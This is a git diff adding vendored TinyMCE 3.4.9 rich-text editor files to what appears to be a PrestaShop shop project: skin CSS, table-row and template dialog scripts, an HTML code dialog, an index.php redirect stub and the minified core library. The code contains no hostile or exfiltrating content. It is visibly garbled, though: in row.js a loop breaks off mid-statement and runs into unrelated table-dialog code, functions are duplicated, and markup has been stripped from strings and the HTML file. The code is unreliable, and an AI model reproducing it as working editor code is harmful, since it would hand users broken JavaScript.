+#action { + margin-bottom: 3px; +} + +#rowtype,#align,#valign,#class,#height { + width: 150px; +} + +#height { + width: 50px; +} + +.col2 { + padding-left: 20px; +} diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/row.js b/js/tiny_mce/themes/advanced/skins/o2k7/row.js new file mode 100755 index 0000000..882bfb5 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/row.js @@ -0,0 +1,237 @@ +tinyMCEPopup.requireLangPack(); + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + var trElm = dom.getParent(inst.selection.getStart(), "tr"); + var formObj = document.forms[0]; + var st = dom.parseStyle(dom.getAttrib(trElm, "style")); + + // Get table row data + var rowtype = trElm.parentNode.nodeName.toLowerCase(); + var align = dom.getAttrib(trElm, 'align'); + var valign = dom.getAttrib(trElm, 'valign'); + var height = trimSize(getStyle(trElm, 'height', 'height')); + var className = dom.getAttrib(trElm, 'class'); + var bgcolor = convertRGBToHex(getStyle(trElm, 'bgcolor', 'backgroundColor')); + var backgroundimage = getStyle(trElm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + var id = dom.getAttrib(trElm, 'id'); + var lang = dom.getAttrib(trElm, 'lang'); + var dir = dom.getAttrib(trElm, 'dir'); + + selectByValue(formObj, 'rowtype', rowtype); + + // Any cells selected + if (dom.select('td.mceSelected,th.mceSelected', trElm).length == 0) { + // Setup form + addClassesToList('class', 'table_row_styles'); + TinyMCE_EditableSelects.init(); + + formObj.bgcolor.value = bgcolor; + formObj.backgroundimage.value = backgroundimage; + formObj.height.value = height; + formObj.id.value = id; + formObj.lang.value = lang; + formObj.style.value = dom.serializeStyle(st); + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'valign', valign); + selectByValue(formObj, 'class', className, true, true); + selectByValue(formObj, 'dir', dir); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + updateColor('bgcolor_pick', 'bgcolor'); + } else + tinyMCEPopup.dom.hide('action'); +} + +function updateAction() { + var inst = tinyMCEPopup.editor, dom = inst.dom, trElm, tableElm, formObj = document.forms[0]; + var action = getSelectValue(formObj, 'action'); + + if (!AutoValidator.validate(formObj)) { + tinyMCEPopup.alert(AutoValidator.getErrorMessages(formObj).join('. ') + '.'); + return false; + } + + tinyMCEPopup.restoreSelection(); + trElm = dom.getParent(inst.selection.getStart(), "tr"); + tableElm = dom.getParent(inst.selection.getStart(), "table"); + + // Update all selected rows + if (dom.select('td.mceSelected,th.mceSelected', trElm).length > 0) { + tinymce.each(tableElm.rows, function(tr) { + var i; + + for (i = 0; i < tr.cells.length; i++) { + if (dom.hasClass(tr.cells[i], 'mceSelected')) { + updateRow(tr, true); + return; + } + } + }); + + inst.addVisual(); + inst.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + return; + } + + switch (action) { + case "row": + updateRow(trElm); + break; + + case "all": + var rows = tableElm.getElementsByTagName("tr"); + + for (var i=0; i colLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.col_limit').replace(/\{\$cols\}/g, colLimit)); + return false; + } else if (rowLimit && rows > rowLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.row_limit').replace(/\{\$rows\}/g, rowLimit)); + return false; + } else if (cellLimit && cols * rows > cellLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.cell_limit').replace(/\{\$cells\}/g, cellLimit)); + return false; + } + + // Update table + if (action == "update") { + dom.setAttrib(elm, 'cellPadding', cellpadding, true); + dom.setAttrib(elm, 'cellSpacing', cellspacing, true); + + if (!isCssSize(border)) { + dom.setAttrib(elm, 'border', border); + } else { + dom.setAttrib(elm, 'border', ''); + } + + if (border == '') { + dom.setStyle(elm, 'border-width', ''); + dom.setStyle(elm, 'border', ''); + dom.setAttrib(elm, 'border', ''); + } + + dom.setAttrib(elm, 'align', align); + dom.setAttrib(elm, 'frame', frame); + dom.setAttrib(elm, 'rules', rules); + dom.setAttrib(elm, 'class', className); + dom.setAttrib(elm, 'style', style); + dom.setAttrib(elm, 'id', id); + dom.setAttrib(elm, 'summary', summary); + dom.setAttrib(elm, 'dir', dir); + dom.setAttrib(elm, 'lang', lang); + + capEl = inst.dom.select('caption', elm)[0]; + + if (capEl && !caption) + capEl.parentNode.removeChild(capEl); + + if (!capEl && caption) { + capEl = elm.ownerDocument.createElement('caption'); + + if (!tinymce.isIE) + capEl.innerHTML = '
    '; + + elm.insertBefore(capEl, elm.firstChild); + } + + if (width && inst.settings.inline_styles) { + dom.setStyle(elm, 'width', width); + dom.setAttrib(elm, 'width', ''); + } else { + dom.setAttrib(elm, 'width', width, true); + dom.setStyle(elm, 'width', ''); + } + + // Remove these since they are not valid XHTML + dom.setAttrib(elm, 'borderColor', ''); + dom.setAttrib(elm, 'bgColor', ''); + dom.setAttrib(elm, 'background', ''); + + if (height && inst.settings.inline_styles) { + dom.setStyle(elm, 'height', height); + dom.setAttrib(elm, 'height', ''); + } else { + dom.setAttrib(elm, 'height', height, true); + dom.setStyle(elm, 'height', ''); + } + + if (background != '') + elm.style.backgroundImage = "url('" + background + "')"; + else + elm.style.backgroundImage = ''; + +/* if (tinyMCEPopup.getParam("inline_styles")) { + if (width != '') + elm.style.width = getCSSSize(width); + }*/ + + if (bordercolor != "") { + elm.style.borderColor = bordercolor; + elm.style.borderStyle = elm.style.borderStyle == "" ? "solid" : elm.style.borderStyle; + elm.style.borderWidth = cssSize(border); + } else + elm.style.borderColor = ''; + + elm.style.backgroundColor = bgcolor; + elm.style.height = getCSSSize(height); + + inst.addVisual(); + + // Fix for stange MSIE align bug + //elm.outerHTML = elm.outerHTML; + + inst.nodeChanged(); + inst.execCommand('mceEndUndoLevel', false, {}, {skip_undo: true}); + + // Repaint if dimensions changed + if (formObj.width.value != orgTableWidth || formObj.height.value != orgTableHeight) + inst.execCommand('mceRepaint'); + + tinyMCEPopup.close(); + return true; + } + + // Create new table + html += ''); + + tinymce.each('h1,h2,h3,h4,h5,h6,p'.split(','), function(n) { + if (patt) + patt += ','; + + patt += n + ' ._mce_marker'; + }); + + tinymce.each(inst.dom.select(patt), function(n) { + inst.dom.split(inst.dom.getParent(n, 'h1,h2,h3,h4,h5,h6,p'), n); + }); + + dom.setOuterHTML(dom.select('br._mce_marker')[0], html); + } else + inst.execCommand('mceInsertContent', false, html); + + tinymce.each(dom.select('table[data-mce-new]'), function(node) { + // Fixes a bug in IE where the caret cannot be placed after the table if the table is at the end of the document + if (tinymce.isIE && node.nextSibling == null) { + dom.insertAfter(dom.create('p'), node); + } + + var tdorth = dom.select('td,th', node); + try { + // IE9 might fail to do this selection + inst.selection.setCursorLocation(tdorth[0], 0); + } catch (ex) { + // Ignore + } + + dom.setAttrib(node, 'data-mce-new', ''); + }); + + inst.addVisual(); + inst.execCommand('mceEndUndoLevel', false, {}, {skip_undo: true}); + + tinyMCEPopup.close(); +} + +function makeAttrib(attrib, value) { + var formObj = document.forms[0]; + var valueElm = formObj.elements[attrib]; + + if (typeof(value) == "undefined" || value == null) { + value = ""; + + if (valueElm) + value = valueElm.value; + } + + if (value == "") + return ""; + + // XML encode it + value = value.replace(/&/g, '&'); + value = value.replace(/\"/g, '"'); + value = value.replace(//g, '>'); + + return ' ' + attrib + '="' + value + '"'; +} + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bordercolor_pickcontainer').innerHTML = getColorPickerHTML('bordercolor_pick','bordercolor'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + + var cols = 2, rows = 2, border = tinyMCEPopup.getParam('table_default_border', '0'), cellpadding = tinyMCEPopup.getParam('table_default_cellpadding', ''), cellspacing = tinyMCEPopup.getParam('table_default_cellspacing', ''); + var align = "", width = "", height = "", bordercolor = "", bgcolor = "", className = ""; + var id = "", summary = "", style = "", dir = "", lang = "", background = "", bgcolor = "", bordercolor = "", rules = "", frame = ""; + var inst = tinyMCEPopup.editor, dom = inst.dom; + var formObj = document.forms[0]; + var elm = dom.getParent(inst.selection.getNode(), "table"); + + action = tinyMCEPopup.getWindowArg('action'); + + if (!action) + action = elm ? "update" : "insert"; + + if (elm && action != "insert") { + var rowsAr = elm.rows; + var cols = 0; + for (var i=0; i cols) + cols = rowsAr[i].cells.length; + + cols = cols; + rows = rowsAr.length; + + st = dom.parseStyle(dom.getAttrib(elm, "style")); + border = trimSize(getStyle(elm, 'border', 'borderWidth')); + cellpadding = dom.getAttrib(elm, 'cellpadding', ""); + cellspacing = dom.getAttrib(elm, 'cellspacing', ""); + width = trimSize(getStyle(elm, 'width', 'width')); + height = trimSize(getStyle(elm, 'height', 'height')); + bordercolor = convertRGBToHex(getStyle(elm, 'bordercolor', 'borderLeftColor')); + bgcolor = convertRGBToHex(getStyle(elm, 'bgcolor', 'backgroundColor')); + align = dom.getAttrib(elm, 'align', align); + frame = dom.getAttrib(elm, 'frame'); + rules = dom.getAttrib(elm, 'rules'); + className = tinymce.trim(dom.getAttrib(elm, 'class').replace(/mceItem.+/g, '')); + id = dom.getAttrib(elm, 'id'); + summary = dom.getAttrib(elm, 'summary'); + style = dom.serializeStyle(st); + dir = dom.getAttrib(elm, 'dir'); + lang = dom.getAttrib(elm, 'lang'); + background = getStyle(elm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + formObj.caption.checked = elm.getElementsByTagName('caption').length > 0; + + orgTableWidth = width; + orgTableHeight = height; + + action = "update"; + formObj.insert.value = inst.getLang('update'); + } + + addClassesToList('class', "table_styles"); + TinyMCE_EditableSelects.init(); + + // Update form + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'tframe', frame); + selectByValue(formObj, 'rules', rules); + selectByValue(formObj, 'class', className, true, true); + formObj.cols.value = cols; + formObj.rows.value = rows; + formObj.border.value = border; + formObj.cellpadding.value = cellpadding; + formObj.cellspacing.value = cellspacing; + formObj.width.value = width; + formObj.height.value = height; + formObj.bordercolor.value = bordercolor; + formObj.bgcolor.value = bgcolor; + formObj.id.value = id; + formObj.summary.value = summary; + formObj.style.value = style; + formObj.dir.value = dir; + formObj.lang.value = lang; + formObj.backgroundimage.value = background; + + updateColor('bordercolor_pick', 'bordercolor'); + updateColor('bgcolor_pick', 'bgcolor'); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + // Disable some fields in update mode + if (action == "update") { + formObj.cols.disabled = true; + formObj.rows.disabled = true; + } +} + +function changedSize() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + +/* var width = formObj.width.value; + if (width != "") + st['width'] = tinyMCEPopup.getParam("inline_styles") ? getCSSSize(width) : ""; + else + st['width'] = "";*/ + + var height = formObj.height.value; + if (height != "") + st['height'] = getCSSSize(height); + else + st['height'] = ""; + + formObj.style.value = dom.serializeStyle(st); +} + +function isCssSize(value) { + return /^[0-9.]+(%|in|cm|mm|em|ex|pt|pc|px)$/.test(value); +} + +function cssSize(value, def) { + value = tinymce.trim(value || def); + + if (!isCssSize(value)) { + return parseInt(value, 10) + 'px'; + } + + return value; +} + +function changedBackgroundImage() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + st['background-image'] = "url('" + formObj.backgroundimage.value + "')"; + + formObj.style.value = dom.serializeStyle(st); +} + +function changedBorder() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + // Update border width if the element has a color + if (formObj.border.value != "" && (isCssSize(formObj.border.value) || formObj.bordercolor.value != "")) + st['border-width'] = cssSize(formObj.border.value); + else { + if (!formObj.border.value) { + st['border'] = ''; + st['border-width'] = ''; + } + } + + formObj.style.value = dom.serializeStyle(st); +} + +function changedColor() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + st['background-color'] = formObj.bgcolor.value; + + if (formObj.bordercolor.value != "") { + st['border-color'] = formObj.bordercolor.value; + + // Add border-width if it's missing + if (!st['border-width']) + st['border-width'] = cssSize(formObj.border.value, 1); + } + + formObj.style.value = dom.serializeStyle(st); +} + +function changedStyle() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + if (st['background-image']) + formObj.backgroundimage.value = st['background-image'].replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + else + formObj.backgroundimage.value = ''; + + if (st['width']) + formObj.width.value = trimSize(st['width']); + + if (st['height']) + formObj.height.value = trimSize(st['height']); + + if (st['background-color']) { + formObj.bgcolor.value = st['background-color']; + updateColor('bgcolor_pick','bgcolor'); + } + + if (st['border-color']) { + formObj.bordercolor.value = st['border-color']; + updateColor('bordercolor_pick','bordercolor'); + } +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/template.css b/js/tiny_mce/themes/advanced/skins/o2k7/template.css new file mode 100755 index 0000000..0a03f2e --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/template.css @@ -0,0 +1,23 @@ +#frmbody { + padding: 10px; + background-color: #FFF; + border: 1px solid #CCC; +} + +.frmRow { + margin-bottom: 10px; +} + +#templatesrc { + border: none; + width: 320px; + height: 240px; +} + +.title { + padding-bottom: 5px; +} + +.mceActionPanel { + padding-top: 5px; +} diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/template.js b/js/tiny_mce/themes/advanced/skins/o2k7/template.js new file mode 100755 index 0000000..673395a --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/template.js @@ -0,0 +1,106 @@ +tinyMCEPopup.requireLangPack(); + +var TemplateDialog = { + preInit : function() { + var url = tinyMCEPopup.getParam("template_external_list_url"); + + if (url != null) + document.write(''); + }, + + init : function() { + var ed = tinyMCEPopup.editor, tsrc, sel, x, u; + + tsrc = ed.getParam("template_templates", false); + sel = document.getElementById('tpath'); + + // Setup external template list + if (!tsrc && typeof(tinyMCETemplateList) != 'undefined') { + for (x=0, tsrc = []; x'); + }); + }, + + selectTemplate : function(u, ti) { + var d = window.frames['templatesrc'].document, x, tsrc = this.tsrc; + + if (!u) + return; + + d.body.innerHTML = this.templateHTML = this.getFileContents(u); + + for (x=0; x + + {#advanced_dlg.code_title} + + + + +
    +
    + +
    + +
    + +
    + + + +
    + + +
    +
    + + diff --git a/js/tiny_mce/themes/index.php b/js/tiny_mce/themes/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/js/tiny_mce/themes/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/tiny_mce.js b/js/tiny_mce/tiny_mce.js new file mode 100755 index 0000000..573e669 --- /dev/null +++ b/js/tiny_mce/tiny_mce.js @@ -0,0 +1 @@ +(function(d){var a=/^\s*|\s*$/g,e,c="B".replace(/A(.)|B/,"$1")==="$1";var b={majorVersion:"3",minorVersion:"4.9",releaseDate:"2012-02-23",_init:function(){var s=this,q=document,o=navigator,g=o.userAgent,m,f,l,k,j,r;s.isOpera=d.opera&&opera.buildNumber;s.isWebKit=/WebKit/.test(g);s.isIE=!s.isWebKit&&!s.isOpera&&(/MSIE/gi).test(g)&&(/Explorer/gi).test(o.appName);s.isIE6=s.isIE&&/MSIE [56]/.test(g);s.isIE7=s.isIE&&/MSIE [7]/.test(g);s.isIE8=s.isIE&&/MSIE [8]/.test(g);s.isIE9=s.isIE&&/MSIE [9]/.test(g);s.isGecko=!s.isWebKit&&/Gecko/.test(g);s.isMac=g.indexOf("Mac")!=-1;s.isAir=/adobeair/i.test(g);s.isIDevice=/(iPad|iPhone)/.test(g);s.isIOS5=s.isIDevice&&g.match(/AppleWebKit\/(\d*)/)[1]>=534;if(d.tinyMCEPreInit){s.suffix=tinyMCEPreInit.suffix;s.baseURL=tinyMCEPreInit.base;s.query=tinyMCEPreInit.query;return}s.suffix="";f=q.getElementsByTagName("base");for(m=0;m0?d:[g.scope]);if(f===false){break}}return f}});(function(){var a=tinymce.each;tinymce.create("tinymce.util.URI",{URI:function(e,g){var f=this,i,d,c,h;e=tinymce.trim(e);g=f.settings=g||{};if(/^([\w\-]+):([^\/]{2})/i.test(e)||/^\s*#/.test(e)){f.source=e;return}if(e.indexOf("/")===0&&e.indexOf("//")!==0){e=(g.base_uri?g.base_uri.protocol||"http":"http")+"://mce_host"+e}if(!/^[\w-]*:?\/\//.test(e)){h=g.base_uri?g.base_uri.path:new tinymce.util.URI(location.href).directory;e=((g.base_uri&&g.base_uri.protocol)||"http")+"://mce_host"+f.toAbsPath(h,e)}e=e.replace(/@@/g,"(mce_at)");e=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(e);a(["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],function(b,j){var k=e[j];if(k){k=k.replace(/\(mce_at\)/g,"@@")}f[b]=k});if(c=g.base_uri){if(!f.protocol){f.protocol=c.protocol}if(!f.userInfo){f.userInfo=c.userInfo}if(!f.port&&f.host=="mce_host"){f.port=c.port}if(!f.host||f.host=="mce_host"){f.host=c.host}f.source=""}},setPath:function(c){var b=this;c=/^(.*?)\/?(\w+)?$/.exec(c);b.path=c[0];b.directory=c[1];b.file=c[2];b.source="";b.getURI()},toRelative:function(b){var c=this,d;if(b==="./"){return b}b=new tinymce.util.URI(b,{base_uri:c});if((b.host!="mce_host"&&c.host!=b.host&&b.host)||c.port!=b.port||c.protocol!=b.protocol){return b.getURI()}d=c.toRelPath(c.path,b.path);if(b.query){d+="?"+b.query}if(b.anchor){d+="#"+b.anchor}return d},toAbsolute:function(b,c){var b=new tinymce.util.URI(b,{base_uri:this});return b.getURI(this.host==b.host&&this.protocol==b.protocol?c:0)},toRelPath:function(g,h){var c,f=0,d="",e,b;g=g.substring(0,g.lastIndexOf("/"));g=g.split("/");c=h.split("/");if(g.length>=c.length){for(e=0,b=g.length;e=c.length||g[e]!=c[e]){f=e+1;break}}}if(g.length=g.length||g[e]!=c[e]){f=e+1;break}}}if(f==1){return h}for(e=0,b=g.length-(f-1);e=0;c--){if(f[c].length==0||f[c]=="."){continue}if(f[c]==".."){b++;continue}if(b>0){b--;continue}h.push(f[c])}c=e.length-b;if(c<=0){g=h.reverse().join("/")}else{g=e.slice(0,c).join("/")+"/"+h.reverse().join("/")}if(g.indexOf("/")!==0){g="/"+g}if(d&&g.lastIndexOf("/")!==g.length-1){g+=d}return g},getURI:function(d){var c,b=this;if(!b.source||d){c="";if(!d){if(b.protocol){c+=b.protocol+"://"}if(b.userInfo){c+=b.userInfo+"@"}if(b.host){c+=b.host}if(b.port){c+=":"+b.port}}if(b.path){c+=b.path}if(b.query){c+="?"+b.query}if(b.anchor){c+="#"+b.anchor}b.source=c}return b.source}})})();(function(){var a=tinymce.each;tinymce.create("static tinymce.util.Cookie",{getHash:function(d){var b=this.get(d),c;if(b){a(b.split("&"),function(e){e=e.split("=");c=c||{};c[unescape(e[0])]=unescape(e[1])})}return c},setHash:function(j,b,g,f,i,c){var h="";a(b,function(e,d){h+=(!h?"":"&")+escape(d)+"="+escape(e)});this.set(j,h,g,f,i,c)},get:function(i){var h=document.cookie,g,f=i+"=",d;if(!h){return}d=h.indexOf("; "+f);if(d==-1){d=h.indexOf(f);if(d!=0){return null}}else{d+=2}g=h.indexOf(";",d);if(g==-1){g=h.length}return unescape(h.substring(d+f.length,g))},set:function(i,b,g,f,h,c){document.cookie=i+"="+escape(b)+((g)?"; expires="+g.toGMTString():"")+((f)?"; path="+escape(f):"")+((h)?"; domain="+h:"")+((c)?"; secure":"")},remove:function(e,b){var c=new Date();c.setTime(c.getTime()-1000);this.set(e,"",c,b,c)}})})();(function(){function serialize(o,quote){var i,v,t;quote=quote||'"';if(o==null){return"null"}t=typeof o;if(t=="string"){v="\bb\tt\nn\ff\rr\"\"''\\\\";return quote+o.replace(/([\u0080-\uFFFF\x00-\x1f\"\'\\])/g,function(a,b){if(quote==='"'&&a==="'"){return a}i=v.indexOf(b);if(i+1){return"\\"+v.charAt(i+1)}a=b.charCodeAt().toString(16);return"\\u"+"0000".substring(a.length)+a})+quote}if(t=="object"){if(o.hasOwnProperty&&o instanceof Array){for(i=0,v="[";i0?",":"")+serialize(o[i],quote)}return v+"]"}v="{";for(i in o){if(o.hasOwnProperty(i)){v+=typeof o[i]!="function"?(v.length>1?","+quote:quote)+i+quote+":"+serialize(o[i],quote):""}}return v+"}"}return""+o}tinymce.util.JSON={serialize:serialize,parse:function(s){try{return eval("("+s+")")}catch(ex){}}}})();tinymce.create("static tinymce.util.XHR",{send:function(g){var a,e,b=window,h=0;g.scope=g.scope||this;g.success_scope=g.success_scope||g.scope;g.error_scope=g.error_scope||g.scope;g.async=g.async===false?false:true;g.data=g.data||"";function d(i){a=0;try{a=new ActiveXObject(i)}catch(c){}return a}a=b.XMLHttpRequest?new XMLHttpRequest():d("Microsoft.XMLHTTP")||d("Msxml2.XMLHTTP");if(a){if(a.overrideMimeType){a.overrideMimeType(g.content_type)}a.open(g.type||(g.data?"POST":"GET"),g.url,g.async);if(g.content_type){a.setRequestHeader("Content-Type",g.content_type)}a.setRequestHeader("X-Requested-With","XMLHttpRequest");a.send(g.data);function f(){if(!g.async||a.readyState==4||h++>10000){if(g.success&&h<10000&&a.status==200){g.success.call(g.success_scope,""+a.responseText,a,g)}else{if(g.error){g.error.call(g.error_scope,h>10000?"TIMED_OUT":"GENERAL",a,g)}}a=null}else{b.setTimeout(f,10)}}if(!g.async){return f()}e=b.setTimeout(f,10)}}});(function(){var c=tinymce.extend,b=tinymce.util.JSON,a=tinymce.util.XHR;tinymce.create("tinymce.util.JSONRequest",{JSONRequest:function(d){this.settings=c({},d);this.count=0},send:function(f){var e=f.error,d=f.success;f=c(this.settings,f);f.success=function(h,g){h=b.parse(h);if(typeof(h)=="undefined"){h={error:"JSON Parse error."}}if(h.error){e.call(f.error_scope||f.scope,h.error,g)}else{d.call(f.success_scope||f.scope,h.result)}};f.error=function(h,g){if(e){e.call(f.error_scope||f.scope,h,g)}};f.data=b.serialize({id:f.id||"c"+(this.count++),method:f.method,params:f.params});f.content_type="application/json";a.send(f)},"static":{sendRPC:function(d){return new tinymce.util.JSONRequest().send(d)}}})}());(function(a){a.VK={DELETE:46,BACKSPACE:8,ENTER:13,TAB:9,SPACEBAR:32,UP:38,DOWN:40,modifierPressed:function(b){return b.shiftKey||b.ctrlKey||b.altKey}}})(tinymce);(function(l){var j=l.VK,k=j.BACKSPACE,h=j.DELETE;function c(n){var p=n.dom,o=n.selection;n.onKeyDown.add(function(r,v){var q,x,t,u,s;s=v.keyCode==h;if((s||v.keyCode==k)&&!j.modifierPressed(v)){v.preventDefault();q=o.getRng();x=p.getParent(q.startContainer,p.isBlock);if(s){x=p.getNext(x,p.isBlock)}if(x){t=x.firstChild;while(t&&t.nodeType==3&&t.nodeValue.length==0){t=t.nextSibling}if(t&&t.nodeName==="SPAN"){u=t.cloneNode(false)}}r.getDoc().execCommand(s?"ForwardDelete":"Delete",false,null);x=p.getParent(q.startContainer,p.isBlock);l.each(p.select("span.Apple-style-span,font.Apple-style-span",x),function(y){var z=o.getBookmark();if(u){p.replace(u.cloneNode(false),y,true)}else{p.remove(y,true)}o.moveToBookmark(z)})}})}function d(n){function o(r){var q=n.dom.create("body");var s=r.cloneContents();q.appendChild(s);return n.selection.serializer.serialize(q,{format:"html"})}function p(q){var s=o(q);var t=n.dom.createRng();t.selectNode(n.getBody());var r=o(t);return s===r}n.onKeyDown.addToTop(function(r,t){var s=t.keyCode;if(s==h||s==k){var q=r.selection.getRng(true);if(!q.collapsed&&p(q)){r.setContent("",{format:"raw"});r.nodeChanged();t.preventDefault()}}})}function b(n){n.dom.bind(n.getDoc(),"focusin",function(){n.selection.setRng(n.selection.getRng())})}function e(n){n.onKeyDown.add(function(o,r){if(r.keyCode===k){if(o.selection.isCollapsed()&&o.selection.getRng(true).startOffset===0){var q=o.selection.getNode();var p=q.previousSibling;if(p&&p.nodeName&&p.nodeName.toLowerCase()==="hr"){o.dom.remove(p);l.dom.Event.cancel(r)}}}})}function g(n){if(!Range.prototype.getClientRects){n.onMouseDown.add(function(p,q){if(q.target.nodeName==="HTML"){var o=p.getBody();o.blur();setTimeout(function(){o.focus()},0)}})}}function f(n){n.onClick.add(function(o,p){p=p.target;if(/^(IMG|HR)$/.test(p.nodeName)){o.selection.getSel().setBaseAndExtent(p,0,p,1)}if(p.nodeName=="A"&&o.dom.hasClass(p,"mceItemAnchor")){o.selection.select(p)}o.nodeChanged()})}function i(n){n.onKeyDown.add(function(o,p){function q(r){var s=r.selection.getNode();var t="h1,h2,h3,h4,h5,h6";return r.dom.is(s,t)||r.dom.getParent(s,t)!==null}if(p.keyCode===j.ENTER&&!j.modifierPressed(p)&&q(o)){setTimeout(function(){var r=o.selection.getNode();if(o.dom.is(r,"p")){o.dom.setAttrib(r,"style",null);o.execCommand("mceCleanup")}},0)}})}function m(n){var p,o;n.dom.bind(n.getDoc(),"selectionchange",function(){if(o){clearTimeout(o);o=0}o=window.setTimeout(function(){var q=n.selection.getRng();if(!p||!l.dom.RangeUtils.compareRanges(q,p)){n.nodeChanged();p=q}},50)})}function a(n){document.body.setAttribute("role","application")}l.create("tinymce.util.Quirks",{Quirks:function(n){if(l.isWebKit){c(n);d(n);b(n);f(n);if(l.isIDevice){m(n)}}if(l.isIE){e(n);d(n);a(n);i(n)}if(l.isGecko){e(n);g(n)}}})})(tinymce);(function(j){var a,g,d,k=/[&<>\"\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,b=/[<>&\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,f=/[<>&\"\']/g,c=/&(#x|#)?([\w]+);/g,i={128:"\u20AC",130:"\u201A",131:"\u0192",132:"\u201E",133:"\u2026",134:"\u2020",135:"\u2021",136:"\u02C6",137:"\u2030",138:"\u0160",139:"\u2039",140:"\u0152",142:"\u017D",145:"\u2018",146:"\u2019",147:"\u201C",148:"\u201D",149:"\u2022",150:"\u2013",151:"\u2014",152:"\u02DC",153:"\u2122",154:"\u0161",155:"\u203A",156:"\u0153",158:"\u017E",159:"\u0178"};g={'"':""","'":"'","<":"<",">":">","&":"&"};d={"<":"<",">":">","&":"&",""":'"',"'":"'"};function h(l){var m;m=document.createElement("div");m.innerHTML=l;return m.textContent||m.innerText||l}function e(m,p){var n,o,l,q={};if(m){m=m.split(",");p=p||10;for(n=0;n1){return"&#"+(((n.charCodeAt(0)-55296)*1024)+(n.charCodeAt(1)-56320)+65536)+";"}return g[n]||"&#"+n.charCodeAt(0)+";"})},encodeNamed:function(n,l,m){m=m||a;return n.replace(l?k:b,function(o){return g[o]||m[o]||o})},getEncodeFunc:function(l,o){var p=j.html.Entities;o=e(o)||a;function m(r,q){return r.replace(q?k:b,function(s){return g[s]||o[s]||"&#"+s.charCodeAt(0)+";"||s})}function n(r,q){return p.encodeNamed(r,q,o)}l=j.makeMap(l.replace(/\+/g,","));if(l.named&&l.numeric){return m}if(l.named){if(o){return n}return p.encodeNamed}if(l.numeric){return p.encodeNumeric}return p.encodeRaw},decode:function(l){return l.replace(c,function(n,m,o){if(m){o=parseInt(o,m.length===2?16:10);if(o>65535){o-=65536;return String.fromCharCode(55296+(o>>10),56320+(o&1023))}else{return i[o]||String.fromCharCode(o)}}return d[n]||a[n]||h(n)})}}})(tinymce);tinymce.html.Styles=function(d,f){var k=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/gi,h=/(?:url(?:(?:\(\s*\"([^\"]+)\"\s*\))|(?:\(\s*\'([^\']+)\'\s*\))|(?:\(\s*([^)\s]+)\s*\))))|(?:\'([^\']+)\')|(?:\"([^\"]+)\")/gi,b=/\s*([^:]+):\s*([^;]+);?/g,l=/\s+$/,m=/rgb/,e,g,a={},j;d=d||{};j="\\\" \\' \\; \\: ; : \uFEFF".split(" ");for(g=0;g1?r:"0"+r}return"#"+o(q)+o(p)+o(i)}return{toHex:function(i){return i.replace(k,c)},parse:function(r){var y={},p,n,v,q,u=d.url_converter,x=d.url_converter_scope||this;function o(C,F){var E,B,A,D;E=y[C+"-top"+F];if(!E){return}B=y[C+"-right"+F];if(E!=B){return}A=y[C+"-bottom"+F];if(B!=A){return}D=y[C+"-left"+F];if(A!=D){return}y[C+F]=D;delete 